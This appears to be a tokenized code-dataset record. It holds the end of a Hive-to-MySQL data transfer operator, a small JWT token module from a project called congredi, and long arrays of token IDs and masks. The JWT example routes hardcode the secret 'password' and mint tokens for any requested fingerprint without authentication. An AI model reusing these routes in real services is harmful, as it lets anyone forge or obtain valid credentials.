lineterminator='\n', output_header=False) else: results = hive.get_records(self.sql) mysql = MySqlHook(mysql_conn_id=self.mysql_conn_id) if self.mysql_preoperator: logging.info("Running MySQL preoperator") mysql.run(self.mysql_preoperator) logging.info("Inserting rows into MySQL") if self.bulk_load: mysql.bulk_load(table=self.mysql_table, tmp_file=tmpfile.name) tmpfile.close() else: mysql.insert_rows(table=self.mysql_table, rows=results) if self.mysql_postoperator: logging.info("Running MySQL postoperator") mysql.run(self.mysql_postoperator) logging.info("Done.")
apache-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 2050, 199, 199, 504, 16321, 14, 7922, 14, 17230, 63, 7922, 492, 869, 1912, 3120, 18, 8481, 199, 504, 16321, 14, 7922, 14, 8644, 63, 3664, 492, 4932, 16790, 8481, 199, 504, 16321, 14, 992, 492, 3523, 7961, 199, 504, 16321, 14, 1208, 14, 11582, 492, 4838, 63, 4322, 199, 199, 504, 5549, 492, 31825, 421, 199, 533, 869, 1912, 1378, 5713, 16790, 11761, 8, 1563, 7961, 304, 272, 408, 272, 3930, 2310, 666, 687, 869, 1912, 370, 11200, 12, 5317, 626, 367, 3063, 314, 666, 365, 6511, 272, 1901, 4402, 2544, 3769, 22319, 370, 11200, 12, 880, 642, 4182, 1077, 272, 506, 1202, 367, 9588, 1891, 5982, 402, 666, 14, 339, 520, 635, 3875, 26, 5385, 1827, 370, 5341, 6169, 314, 11200, 3050, 272, 520, 466, 3875, 26, 620, 272, 520, 635, 12896, 63, 1224, 26, 1347, 11200, 1817, 12, 675, 6308, 15843, 370, 1347, 282, 267, 2488, 3050, 272, 520, 466, 12896, 63, 1224, 26, 620, 272, 520, 635, 12896, 63, 1631, 63, 344, 26, 1350, 12896, 1950, 272, 520, 466, 12896, 63, 1631, 63, 344, 26, 620, 272, 520, 635, 29134, 1000, 18, 63, 1631, 63, 344, 26, 5724, 29134, 1950, 272, 520, 466, 29134, 1000, 18, 63, 1631, 63, 344, 26, 620, 272, 520, 635, 12896, 63, 657, 3856, 26, 3875, 5164, 370, 1255, 6169, 12896, 6791, 370, 267, 492, 12, 13609, 675, 370, 14547, 402, 3145, 315, 4192, 402, 314, 666, 267, 17262, 315, 12, 17266, 314, 2120, 370, 506, 32122, 334, 5720, 314, 2120, 267, 13373, 7859, 1133, 4270, 2248, 666, 9, 272, 520, 466, 12896, 63, 657, 3856, 26, 620, 272, 520, 635, 12896, 63, 1932, 3856, 26, 3875, 5164, 370, 1255, 6169, 12896, 2410, 314, 267, 492, 12, 13609, 1202, 370, 4057, 666, 687, 28512, 370, 9920, 267, 436, 4976, 9058, 3718, 14, 272, 520, 466, 12896, 63, 1932, 3856, 26, 620, 272, 520, 635, 13137, 63, 912, 26, 3305, 370, 675, 13137, 63, 912, 945, 14, 221, 961, 14404, 12896, 5370, 267, 687, 282, 5174, 13, 25672, 1318, 570, 1808, 314, 3412, 1554, 7126, 20639, 1621, 3817, 1414, 14, 267, 961, 945, 5074, 376, 2402, 1950, 2725, 367, 314, 267, 5724, 11200, 1950, 26, 791, 1832, 63, 13880, 356, 2549, 5565, 272, 520, 466, 13137, 63, 912, 26, 2155, 272, 408, 339, 1978, 63, 955, 275, 661, 3009, 297, 283, 8644, 63, 1224, 297, 283, 8644, 63, 657, 3856, 297, 267, 283, 8644, 63, 1932, 3856, 358, 272, 1978, 63, 832, 275, 23500, 3009, 9538, 272, 8574, 63, 2326, 275, 3943, 65, 16, 69, 2036, 67, 7, 339, 768, 4998, 63, 4322, 272, 347, 636, 826, 721, 288, 291, 12, 288, 3875, 12, 288, 12896, 63, 1224, 12, 288, 29134, 1000, 18, 63, 1631, 63, 344, 534, 17230, 1000, 18, 63, 885, 297, 288, 12896, 63, 1631, 63, 344, 534, 8644, 63, 885, 297, 288, 12896, 63, 657, 3856, 29, 403, 12, 288, 12896, 63, 1932, 3856, 29, 403, 12, 288, 13137, 63, 912, 29, 797, 12, 288, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 30232, 1378, 5713, 16790, 11761, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 3009, 275, 3875, 267, 291, 14, 8644, 63, 1224, 275, 12896, 63, 1224, 267, 291, 14, 8644, 63, 1631, 63, 344, 275, 12896, 63, 1631, 63, 344, 267, 291, 14, 8644, 63, 657, 3856, 275, 12896, 63, 657, 3856, 267, 291, 14, 8644, 63, 1932, 3856, 275, 12896, 63, 1932, 3856, 267, 291, 14, 17230, 1000, 18, 63, 1631, 63, 344, 275, 29134, 1000, 18, 63, 1631, 63, 344, 267, 291, 14, 9377, 63, 912, 275, 13137, 63, 912, 339, 347, 5341, 8, 277, 12, 1067, 304, 267, 29134, 275, 869, 1912, 3120, 18, 8481, 8, 17230, 1000, 18, 63, 1631, 63, 344, 29, 277, 14, 17230, 1000, 18, 63, 1631, 63, 344, 9, 267, 2050, 14, 815, 480, 12147, 316, 666, 687, 869, 1912, 531, 267, 2050, 14, 815, 8, 277, 14, 3009, 9, 398, 340, 291, 14, 9377, 63, 912, 26, 288, 25137, 275, 31825, 342, 288, 29134, 14, 475, 63, 4737, 8, 277, 14, 3009, 12, 25137, 14, 354, 12, 11172, 17115, 84, 297, 355, 1004, 26370, 17115, 78, 297, 1072, 63, 1291, 29, 797, 9, 267, 587, 26, 288, 2058, 275, 29134, 14, 362, 63, 6502, 8, 277, 14, 3009, 9, 398, 12896, 275, 4932, 16790, 8481, 8, 8644, 63, 1631, 63, 344, 29, 277, 14, 8644, 63, 1631, 63, 344, 9, 267, 340, 291, 14, 8644, 63, 657, 3856, 26, 288, 2050, 14, 815, 480, 9602, 11200, 876, 3856, 531, 288, 12896, 14, 1065, 8, 277, 14, 8644, 63, 657, 3856, 9, 398, 2050, 14, 815, 480, 9971, 316, 4730, 1901, 11200, 531, 398, 340, 291, 14, 9377, 63, 912, 26, 288, 12896, 14, 9377, 63, 912, 8, 1224, 29, 277, 14, 8644, 63, 1224, 12, 3529, 63, 493, 29, 21930, 14, 354, 9, 288, 25137, 14, 1600, 342, 267, 587, 26, 288, 12896, 14, 3176, 63, 3838, 8, 1224, 29, 277, 14, 8644, 63, 1224, 12, 4730, 29, 2604, 9, 398, 340, 291, 14, 8644, 63, 1932, 3856, 26, 288, 2050, 14, 815, 480, 9602, 11200, 2963, 3856, 531, 288, 12896, 14, 1065, 8, 277, 14, 8644, 63, 1932, 3856, 9, 398, 2050, 14, 815, 480, 10759, 2685, 199, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 2050, 199, 199, 504, 16321, 14, 7922, 14, 17230, 63, 7922, 492, 869, 1912, 3120, 18, 8481, 199, 504, 16321, 14, 7922, 14, 8644, 63, 3664, 492, 4932, 16790, 8481, 199, 504, 16321, 14, 992, 492, 3523, 7961, 199, 504, 16321, 14, 1208, 14, 11582, 492, 4838, 63, 4322, 199, 199, 504, 5549, 492, 31825, 421, 199, 533, 869, 1912, 1378, 5713, 16790, 11761, 8, 1563, 7961, 304, 272, 408, 272, 3930, 2310, 666, 687, 869, 1912, 370, 11200, 12, 5317, 626, 367, 3063, 314, 666, 365, 6511, 272, 1901, 4402, 2544, 3769, 22319, 370, 11200, 12, 880, 642, 4182, 1077, 272, 506, 1202, 367, 9588, 1891, 5982, 402, 666, 14, 339, 520, 635, 3875, 26, 5385, 1827, 370, 5341, 6169, 314, 11200, 3050, 272, 520, 466, 3875, 26, 620, 272, 520, 635, 12896, 63, 1224, 26, 1347, 11200, 1817, 12, 675, 6308, 15843, 370, 1347, 282, 267, 2488, 3050, 272, 520, 466, 12896, 63, 1224, 26, 620, 272, 520, 635, 12896, 63, 1631, 63, 344, 26, 1350, 12896, 1950, 272, 520, 466, 12896, 63, 1631, 63, 344, 26, 620, 272, 520, 635, 29134, 1000, 18, 63, 1631, 63, 344, 26, 5724, 29134, 1950, 272, 520, 466, 29134, 1000, 18, 63, 1631, 63, 344, 26, 620, 272, 520, 635, 12896, 63, 657, 3856, 26, 3875, 5164, 370, 1255, 6169, 12896, 6791, 370, 267, 492, 12, 13609, 675, 370, 14547, 402, 3145, 315, 4192, 402, 314, 666, 267, 17262, 315, 12, 17266, 314, 2120, 370, 506, 32122, 334, 5720, 314, 2120, 267, 13373, 7859, 1133, 4270, 2248, 666, 9, 272, 520, 466, 12896, 63, 657, 3856, 26, 620, 272, 520, 635, 12896, 63, 1932, 3856, 26, 3875, 5164, 370, 1255, 6169, 12896, 2410, 314, 267, 492, 12, 13609, 1202, 370, 4057, 666, 687, 28512, 370, 9920, 267, 436, 4976, 9058, 3718, 14, 272, 520, 466, 12896, 63, 1932, 3856, 26, 620, 272, 520, 635, 13137, 63, 912, 26, 3305, 370, 675, 13137, 63, 912, 945, 14, 221, 961, 14404, 12896, 5370, 267, 687, 282, 5174, 13, 25672, 1318, 570, 1808, 314, 3412, 1554, 7126, 20639, 1621, 3817, 1414, 14, 267, 961, 945, 5074, 376, 2402, 1950, 2725, 367, 314, 267, 5724, 11200, 1950, 26, 791, 1832, 63, 13880, 356, 2549, 5565, 272, 520, 466, 13137, 63, 912, 26, 2155, 272, 408, 339, 1978, 63, 955, 275, 661, 3009, 297, 283, 8644, 63, 1224, 297, 283, 8644, 63, 657, 3856, 297, 267, 283, 8644, 63, 1932, 3856, 358, 272, 1978, 63, 832, 275, 23500, 3009, 9538, 272, 8574, 63, 2326, 275, 3943, 65, 16, 69, 2036, 67, 7, 339, 768, 4998, 63, 4322, 272, 347, 636, 826, 721, 288, 291, 12, 288, 3875, 12, 288, 12896, 63, 1224, 12, 288, 29134, 1000, 18, 63, 1631, 63, 344, 534, 17230, 1000, 18, 63, 885, 297, 288, 12896, 63, 1631, 63, 344, 534, 8644, 63, 885, 297, 288, 12896, 63, 657, 3856, 29, 403, 12, 288, 12896, 63, 1932, 3856, 29, 403, 12, 288, 13137, 63, 912, 29, 797, 12, 288, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 30232, 1378, 5713, 16790, 11761, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 3009, 275, 3875, 267, 291, 14, 8644, 63, 1224, 275, 12896, 63, 1224, 267, 291, 14, 8644, 63, 1631, 63, 344, 275, 12896, 63, 1631, 63, 344, 267, 291, 14, 8644, 63, 657, 3856, 275, 12896, 63, 657, 3856, 267, 291, 14, 8644, 63, 1932, 3856, 275, 12896, 63, 1932, 3856, 267, 291, 14, 17230, 1000, 18, 63, 1631, 63, 344, 275, 29134, 1000, 18, 63, 1631, 63, 344, 267, 291, 14, 9377, 63, 912, 275, 13137, 63, 912, 339, 347, 5341, 8, 277, 12, 1067, 304, 267, 29134, 275, 869, 1912, 3120, 18, 8481, 8, 17230, 1000, 18, 63, 1631, 63, 344, 29, 277, 14, 17230, 1000, 18, 63, 1631, 63, 344, 9, 267, 2050, 14, 815, 480, 12147, 316, 666, 687, 869, 1912, 531, 267, 2050, 14, 815, 8, 277, 14, 3009, 9, 398, 340, 291, 14, 9377, 63, 912, 26, 288, 25137, 275, 31825, 342, 288, 29134, 14, 475, 63, 4737, 8, 277, 14, 3009, 12, 25137, 14, 354, 12, 11172, 17115, 84, 297, 355, 1004, 26370, 17115, 78, 297, 1072, 63, 1291, 29, 797, 9, 267, 587, 26, 288, 2058, 275, 29134, 14, 362, 63, 6502, 8, 277, 14, 3009, 9, 398, 12896, 275, 4932, 16790, 8481, 8, 8644, 63, 1631, 63, 344, 29, 277, 14, 8644, 63, 1631, 63, 344, 9, 267, 340, 291, 14, 8644, 63, 657, 3856, 26, 288, 2050, 14, 815, 480, 9602, 11200, 876, 3856, 531, 288, 12896, 14, 1065, 8, 277, 14, 8644, 63, 657, 3856, 9, 398, 2050, 14, 815, 480, 9971, 316, 4730, 1901, 11200, 531, 398, 340, 291, 14, 9377, 63, 912, 26, 288, 12896, 14, 9377, 63, 912, 8, 1224, 29, 277, 14, 8644, 63, 1224, 12, 3529, 63, 493, 29, 21930, 14, 354, 9, 288, 25137, 14, 1600, 342, 267, 587, 26, 288, 12896, 14, 3176, 63, 3838, 8, 1224, 29, 277, 14, 8644, 63, 1224, 12, 4730, 29, 2604, 9, 398, 340, 291, 14, 8644, 63, 1932, 3856, 26, 288, 2050, 14, 815, 480, 9602, 11200, 2963, 3856, 531, 288, 12896, 14, 1065, 8, 277, 14, 8644, 63, 1932, 3856, 9, 398, 2050, 14, 815, 480, 10759, 2685, 199, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0 ]
Thetoxicarcade/ac
congredi/auth/token.py
2
2504
#!/usr/bin/env python # -*- coding: utf-8 -*- """ JWT tokens (for web interface, mostly, as all peer operations function on public key cryptography). Tokens provide heartbeat functionality, and do not log the user directly into the database. Any of the methods in "register" give the user a long-term JWT by using these functions. Currently no expire function exists without turning over the main auth key, and that would need to tell other gateways that the main key needs to rotate. Maybe someone has a better way of handling short JWT-style auths? """ from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import jwt import datetime # class object JWT implementation class token(): """Simple JWT implementation""" secret = None def __init__(self, secret): """ Passphrase must be stored in server somewhere to recreate this object (it's possibly okay to use the redis database, which may be in common between multiple nodes) """ self.secret = secret def check(self, json): """Checking a JWT against passphrase and expiry""" try: payload = jwt.decode(json, self.secret, algorithms=['HS256']) return payload['pgp'], True # something has gone wrong except jwt.DecodeError: # test return "Invalid Token", False except jwt.ExpiredSignature: # test return "Expired Token", False def make(self, fingerprint): """Create a JWT based on UTC time""" iat = datetime.datetime.utcnow() exp = iat + datetime.timedelta(days=1) payload = { 'pgp': fingerprint, 'iat': iat, 'exp': exp } json = jwt.encode(payload, self.secret, algorithm='HS256') return json.decode('unicode_escape') """Example flask routes (will probably still be using twisted HTTP libs...""" from klein import Klein app = Klein() gate = token('password') @app.route('/pgp/<request>', methods=['GET']) def jwt_get(request): # test pgpkey = request return gate.make(pgpkey) @app.route('/api/<tokn>', methods=['GET']) def jwt_use(tokn): # test response, checks = gate.check(tokn) print(checks) # if checks: return func(response) # response is pgp fingerprint # else: return response # response is token error # congredi/auth/token.py 39 12 69% 41-44, # 66-68, 73-79
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 42, 21283, 4645, 334, 509, 3330, 3217, 12, 19762, 12, 465, 1006, 9104, 5331, 805, 641, 199, 3455, 790, 27617, 680, 421, 199, 16419, 5647, 32015, 9330, 12, 436, 886, 440, 943, 314, 922, 5370, 199, 9924, 314, 3050, 14, 6184, 402, 314, 3102, 315, 298, 2683, 2, 8120, 314, 922, 282, 1846, 13, 5125, 199, 42, 21283, 701, 1808, 3520, 3423, 14, 199, 199, 31499, 949, 16667, 805, 3495, 1928, 7485, 316, 1806, 314, 2446, 1790, 790, 12, 199, 460, 626, 3955, 1929, 370, 11480, 1163, 17036, 2885, 626, 314, 2446, 790, 4839, 370, 20071, 14, 199, 199, 15586, 1235, 17122, 965, 282, 8034, 4340, 402, 7252, 3974, 1603, 21283, 13, 2487, 1790, 83, 31, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 1335, 9115, 199, 646, 2197, 199, 3, 1021, 909, 1603, 21283, 4514, 421, 199, 533, 1526, 837, 272, 408, 3184, 1603, 21283, 4514, 624, 272, 7565, 275, 488, 339, 347, 636, 826, 721, 277, 12, 7565, 304, 267, 408, 267, 8325, 10906, 1471, 506, 5489, 315, 1654, 23430, 370, 23959, 642, 267, 909, 334, 390, 1159, 12570, 5849, 370, 675, 314, 16967, 3050, 12, 1314, 1443, 267, 506, 315, 2863, 3382, 3663, 3380, 9, 267, 408, 267, 291, 14, 4731, 275, 7565, 339, 347, 1104, 8, 277, 12, 2022, 304, 267, 408, 14740, 282, 1603, 21283, 6169, 22432, 436, 23402, 624, 267, 862, 26, 288, 4886, 275, 1335, 9115, 14, 2708, 8, 1001, 12, 291, 14, 4731, 12, 18036, 2968, 15467, 3912, 1105, 288, 372, 4886, 459, 4198, 80, 995, 715, 267, 327, 6020, 965, 21737, 6835, 267, 871, 1335, 9115, 14, 12620, 26, 221, 327, 511, 288, 372, 298, 3364, 8767, 401, 756, 267, 871, 1335, 9115, 14, 20898, 10014, 26, 221, 327, 511, 288, 372, 298, 20898, 8767, 401, 756, 339, 347, 1852, 8, 277, 12, 18020, 304, 267, 408, 2499, 282, 1603, 21283, 4079, 641, 12174, 900, 624, 267, 284, 292, 275, 2197, 14, 2083, 14, 10779, 342, 267, 1437, 275, 284, 292, 435, 2197, 14, 7473, 8, 4899, 29, 17, 9, 267, 4886, 275, 469, 288, 283, 4198, 80, 356, 18020, 12, 288, 283, 73, 292, 356, 284, 292, 12, 288, 283, 1474, 356, 1437, 267, 789, 267, 2022, 275, 1335, 9115, 14, 2143, 8, 4749, 12, 291, 14, 4731, 12, 5563, 534, 15467, 3912, 358, 267, 372, 2022, 14, 2708, 360, 2975, 63, 3765, 358, 199, 199, 624, 9846, 7209, 15777, 334, 14117, 8646, 5139, 506, 1808, 7390, 3101, 20314, 703, 1041, 199, 504, 1022, 274, 262, 492, 1804, 274, 262, 199, 571, 275, 1804, 274, 262, 342, 199, 3237, 275, 1526, 360, 2060, 358, 421, 199, 32, 571, 14, 4449, 2336, 4198, 80, 8316, 1069, 4206, 3102, 2968, 2970, 1105, 199, 318, 1335, 9115, 63, 362, 8, 1069, 304, 221, 327, 511, 272, 299, 4927, 498, 275, 1056, 272, 372, 17036, 14, 1875, 8, 4198, 23749, 9, 421, 199, 32, 571, 14, 4449, 2336, 1246, 8316, 9305, 78, 4206, 3102, 2968, 2970, 1105, 199, 318, 1335, 9115, 63, 1180, 8, 9305, 78, 304, 221, 327, 511, 272, 1177, 12, 5920, 275, 17036, 14, 1074, 8, 9305, 78, 9, 272, 870, 8, 8625, 9, 272, 327, 340, 5920, 26, 372, 2562, 8, 1310, 9, 327, 1177, 365, 299, 4927, 18020, 272, 327, 587, 26, 272, 372, 1177, 221, 327, 1177, 365, 1526, 1125, 199, 3, 406, 9157, 328, 15, 1178, 15, 1418, 14, 647, 10473, 10551, 258, 3144, 259, 14610, 5, 257, 13385, 13, 1602, 12, 199, 3, 14157, 13, 2333, 12, 18525, 13, 1965, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 199, 42, 21283, 4645, 334, 509, 3330, 3217, 12, 19762, 12, 465, 1006, 9104, 5331, 805, 641, 199, 3455, 790, 27617, 680, 421, 199, 16419, 5647, 32015, 9330, 12, 436, 886, 440, 943, 314, 922, 5370, 199, 9924, 314, 3050, 14, 6184, 402, 314, 3102, 315, 298, 2683, 2, 8120, 314, 922, 282, 1846, 13, 5125, 199, 42, 21283, 701, 1808, 3520, 3423, 14, 199, 199, 31499, 949, 16667, 805, 3495, 1928, 7485, 316, 1806, 314, 2446, 1790, 790, 12, 199, 460, 626, 3955, 1929, 370, 11480, 1163, 17036, 2885, 626, 314, 2446, 790, 4839, 370, 20071, 14, 199, 199, 15586, 1235, 17122, 965, 282, 8034, 4340, 402, 7252, 3974, 1603, 21283, 13, 2487, 1790, 83, 31, 199, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 1335, 9115, 199, 646, 2197, 199, 3, 1021, 909, 1603, 21283, 4514, 421, 199, 533, 1526, 837, 272, 408, 3184, 1603, 21283, 4514, 624, 272, 7565, 275, 488, 339, 347, 636, 826, 721, 277, 12, 7565, 304, 267, 408, 267, 8325, 10906, 1471, 506, 5489, 315, 1654, 23430, 370, 23959, 642, 267, 909, 334, 390, 1159, 12570, 5849, 370, 675, 314, 16967, 3050, 12, 1314, 1443, 267, 506, 315, 2863, 3382, 3663, 3380, 9, 267, 408, 267, 291, 14, 4731, 275, 7565, 339, 347, 1104, 8, 277, 12, 2022, 304, 267, 408, 14740, 282, 1603, 21283, 6169, 22432, 436, 23402, 624, 267, 862, 26, 288, 4886, 275, 1335, 9115, 14, 2708, 8, 1001, 12, 291, 14, 4731, 12, 18036, 2968, 15467, 3912, 1105, 288, 372, 4886, 459, 4198, 80, 995, 715, 267, 327, 6020, 965, 21737, 6835, 267, 871, 1335, 9115, 14, 12620, 26, 221, 327, 511, 288, 372, 298, 3364, 8767, 401, 756, 267, 871, 1335, 9115, 14, 20898, 10014, 26, 221, 327, 511, 288, 372, 298, 20898, 8767, 401, 756, 339, 347, 1852, 8, 277, 12, 18020, 304, 267, 408, 2499, 282, 1603, 21283, 4079, 641, 12174, 900, 624, 267, 284, 292, 275, 2197, 14, 2083, 14, 10779, 342, 267, 1437, 275, 284, 292, 435, 2197, 14, 7473, 8, 4899, 29, 17, 9, 267, 4886, 275, 469, 288, 283, 4198, 80, 356, 18020, 12, 288, 283, 73, 292, 356, 284, 292, 12, 288, 283, 1474, 356, 1437, 267, 789, 267, 2022, 275, 1335, 9115, 14, 2143, 8, 4749, 12, 291, 14, 4731, 12, 5563, 534, 15467, 3912, 358, 267, 372, 2022, 14, 2708, 360, 2975, 63, 3765, 358, 199, 199, 624, 9846, 7209, 15777, 334, 14117, 8646, 5139, 506, 1808, 7390, 3101, 20314, 703, 1041, 199, 504, 1022, 274, 262, 492, 1804, 274, 262, 199, 571, 275, 1804, 274, 262, 342, 199, 3237, 275, 1526, 360, 2060, 358, 421, 199, 32, 571, 14, 4449, 2336, 4198, 80, 8316, 1069, 4206, 3102, 2968, 2970, 1105, 199, 318, 1335, 9115, 63, 362, 8, 1069, 304, 221, 327, 511, 272, 299, 4927, 498, 275, 1056, 272, 372, 17036, 14, 1875, 8, 4198, 23749, 9, 421, 199, 32, 571, 14, 4449, 2336, 1246, 8316, 9305, 78, 4206, 3102, 2968, 2970, 1105, 199, 318, 1335, 9115, 63, 1180, 8, 9305, 78, 304, 221, 327, 511, 272, 1177, 12, 5920, 275, 17036, 14, 1074, 8, 9305, 78, 9, 272, 870, 8, 8625, 9, 272, 327, 340, 5920, 26, 372, 2562, 8, 1310, 9, 327, 1177, 365, 299, 4927, 18020, 272, 327, 587, 26, 272, 372, 1177, 221, 327, 1177, 365, 1526, 1125, 199, 3, 406, 9157, 328, 15, 1178, 15, 1418, 14, 647, 10473, 10551, 258, 3144, 259, 14610, 5, 257, 13385, 13, 1602, 12, 199, 3, 14157, 13, 2333, 12, 18525, 13, 1965, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 